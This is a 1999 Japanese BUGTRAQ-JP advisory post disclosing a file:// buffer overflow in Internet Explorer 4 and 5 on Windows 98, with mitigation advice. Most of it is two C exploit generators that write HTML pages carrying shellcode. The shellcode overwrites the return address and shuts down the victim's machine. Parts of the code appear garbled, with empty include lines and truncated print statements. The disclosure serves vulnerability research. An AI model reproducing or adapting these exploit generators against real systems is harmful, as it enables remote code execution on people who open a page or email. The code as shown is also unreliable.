Return-Path: owner-bugtraq-jp@SECURITYFOCUS.COM MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-2022-JP Content-Transfer-Encoding: 7bit X-Mailer: Becky! ver 1.25.07 Message-ID: <3823B4A9118.B70ESHADOWPENGUIN@fox.nightland.net> Date: Sat, 6 Nov 1999 13:55:05 +0900 Reply-To: UNYUN Sender: BUGTRAQ-JP List From: UNYUN Subject: IE4/5 "file://" overflow exploit X-To: BUGTRAQ-JP@SECURITYFOCUS.COM To: BUGTRAQ-JP@SECURITYFOCUS.COM UNYUN@ShadowPenguinSecurityです Microsoft Networkへのログイン環境下において、Microsoft Internet Explorer 4.0/5.0でバッファオーバーフローが発生するようです。バッファオーバーフロー は、file://dummy-host/ 等に続いて長い文字列を指定した場合に発生し、RETア ドレスを上書きしてEIPを制御できるという典型的なセキュリティホールを引き起 こします。 この問題はMicrosoftも認めていますが、問題の解決は時間をかけてゆっくりやる そうです(怒 たかが数行のコードを入れるだけで防止できるんじゃないかと思 うんですが気のせいでしょうか。 RETアドレスの格納位置はIE4/5とも53byte目となっています。IE4では 0x20以下、 小文字、および記号の一部がコード制限に引っ掛かります(IE5ではもう少し制限 があります)が、この程度ですと大抵の目的を果たすコードが記述できますので 十分注意する必要があると思われます。 Windows98のIE4/5に対してexploitを製作して検証した結果、攻撃コードが埋め込 まれたサイトを閲覧する、メールにより送られてきた攻撃コード付きのhtmlを開 く等の操作で、攻撃コード中の意図的なコードが利用者のホスト上で動作し、ウ イルスやトロイの感染、システム破壊等の被害を受ける可能性が確認されました。 特にメールで攻撃コードが送信された場合、いくつかのメーラーは添付された htmlファイルをIEのコントロールを用いて自動で開くといった設定がディフォル トとなっており、取りこんだメールを読んだ時点で被害を受ける可能性がありま す(Becky! Internet Mailで確認)。 以下は、IE4/5 for Windows98(日本語版)用のデモサイトです。以下のURLにジャ ンプすると、強制電源切断を行うテストexploitコードが実行されます IE4 for Windows98-J exploit (電源切断) http://shadowpenguin.backsection.net/tools/ex_ie4.html IE5 for Windows98-J exploit (電源切断) http://shadowpenguin.backsection.net/tools/ex_ie5.html 今の所、 1. 怪しいhtmlメールは読まない 2. あやしいサイトへのジャンプの際は、ソースを確認してHREF等にfile:// 等の文字が含まれていないか確認する 3. ジャンプ先のサイトを直接開かず、ソースをダウンロードして確認する といった措置で回避するしかないと思われます・・・ ---- /*============================================================================= Microsoft IE4 for Windows98 exploit The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (shadowpenguin@backsection.net) ============================================================================= */ #include #include #define MAXBUF 1000 #define RETADR 53 unsigned int mems[]={ 0xbfe30000,0xbfe43000,0xbfe80000,0xbfe86000, 0xbfe90000,0xbfe96000,0xbfea0000,0xbfeb0000, 0xbfee0000,0xbfee5000,0xbff20000,0xbff47000, 0xbff50000,0xbff61000,0xbff70000,0xbffc6000, 0xbffc9000,0xbffe3000,0,0}; unsigned char exploit_code[200]={ 0x33,0xC0,0x40,0x40,0x40,0x40,0x40,0x50, 0x50,0x90,0xB8,0x2D,0x23,0xF5,0xBF,0x48, 0xFF,0xD0,0x00, }; unsigned int search_mem(FILE *fp,unsigned char *st,unsigned char *ed, unsigned char c1,unsigned char c2) { unsigned char *p; unsigned int adr; for (p=st;p>8)&0xff)==0) continue; if (((adr>>16)&0xff)==0) continue; if (((adr>>24)&0xff)==0) continue; return(adr); } return(0); } main(int argc,char *argv[]) { FILE *fp; unsigned int i,ip; unsigned char buf[MAXBUF]; if (argc<2){ printf("usage %s output_htmlfile\n",argv[0]); exit(1); } if ((fp=fopen(argv[1],"wb"))==NULL) return FALSE; fprintf(fp,">8)&0xff; buf[RETADR+2]=(ip>>16)&0xff; buf[RETADR+3]=(ip>>24)&0xff; memcpy(buf+80,exploit_code,strlen(exploit_code)); buf[MAXBUF]=0; fprintf(fp,"%s/\">\nIf you are using IE4 for Japanese Windows98, ",buf); fprintf(fp,"maybe, the exploit code which shuts down your machine will be executed.

"); fprintf(fp,"By Shadow Penguin Security (http://shadowpenguin.backsection.net/), Nov.6,1999\n"); fclose(fp); printf("%s created.\n",argv[1]); return FALSE; } --- /*========================================================================= Microsoft IE5 for Windows98 exploit The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN (shadowpenguin@backsection.net) ========================================================================= */ #include #include #define MAXBUF 1000 #define RETADR 53 /* jmp esp (FF E4) code is stored in this area. You must change this address for non-Japanese Windows98 */ #define EIP 0xbfb75a35 unsigned char exploit_code[200]={ 0x43,0x43,0x43,0x43,0x43,0x53,0x53,0x53, 0xB8,0x2D,0x23,0xF5,0xBF,0x48,0x50,0xC3, 0x00 }; main(int argc,char *argv[]) { FILE *fp; unsigned int ip; unsigned char buf[MAXBUF]; if (argc<2){ printf("usage %s output_htmlfile\n",argv[0]); exit(1); } if ((fp=fopen(argv[1],"wb"))==NULL) return FALSE; fprintf(fp,">8)&0xff; buf[RETADR+2]=(ip>>16)&0xff; buf[RETADR+3]=(ip>>24)&0xff; memcpy(buf+80,exploit_code,strlen(exploit_code)); buf[MAXBUF]=0; fprintf(fp,"%s/\">\nIf you are using IE5 for Japanese Windows98, ",buf); fprintf(fp,"maybe, the exploit code which shuts down your machine will be executed.

"); fprintf(fp,"By Shadow Penguin Security (http://shadowpenguin.backsection.net/), Nov.6,1999\n"); fclose(fp); printf("%s created.\n",argv[1]); return FALSE; } ----- UNYUN % The Shadow Penguin Security [ http://shadowpenguin.backsection.net ] shadowpenguin@backsection.net (webmaster) % eEye Digital Security Team [ http://www.eEye.com ] unyun@eEye.com